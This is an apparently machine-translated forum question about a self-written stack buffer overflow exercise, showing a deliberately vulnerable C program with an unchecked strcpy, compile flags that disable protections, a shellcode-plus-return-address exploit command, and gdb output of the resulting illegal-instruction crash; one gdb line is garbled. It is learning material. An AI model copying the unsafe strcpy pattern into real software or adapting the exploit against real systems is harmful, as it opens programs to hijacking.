关于样本缓冲区溢出利用的非法指令

我在这里遵循了示例。

这是我的示例程序“ oldskool.c”：

#include <string.h>
void go(char *data) {
    char name[64];

    strcpy(name, data);
}

int main (int argc, char **argv) {
    go(argv[1]);
}

我使用：

gcc oldskool.c -o oldskool -zexecstack -fno-stack-protector -g

我也关闭了ASLR。

使用gdb的x / gx $ rsp，我验证了传入perl -e 'print "A"x80'的参数将完全覆盖SIP。这是p＆name

 = (char (*)[64]) 0x7fffffffddc0

的输出，然后我以shellcode示例为例，并添加了padding和SIP，得出了以下内容：

./oldskool `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\xc0\xdd\xff\xff\xff\x7f"'`

但是，运行此命令时，出现“非法指令”错误。以下是gdb会告诉我的内容：

Starting program: /path/to/oldskool `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\xc0\xdd\xff\xff\xff\x7f"'`

Program received signal SIGILL, Illegal instruction.
0x00007fffffffddc0 in ?? ()

(gdb) x/10i 0x7fffffffddc0
=> 0x7fffffffddc0:  (bad)  
   0x7fffffffddc1:  (bad)  
   0x7fffffffddc2:  (bad)  
   0x7fffffffddc3:  incl   (%rax)
   0x7fffffffddc5:  add    %al,(%rax)
   0x7fffffffddc7:  add    %ah,-0x1e(%rcx)
   0x7fffffffddcd:  jg     0x7fffffffddcf
   0x7fffffffddcf:  add    %ch,%bl
   0x7fffffffddd1:  and    0x31(%rax),%cl
   0x7fffffffddd4:  rorb   q4312078qxff,0x31(%rax)

有人对导致此错误的原因有任何线索吗？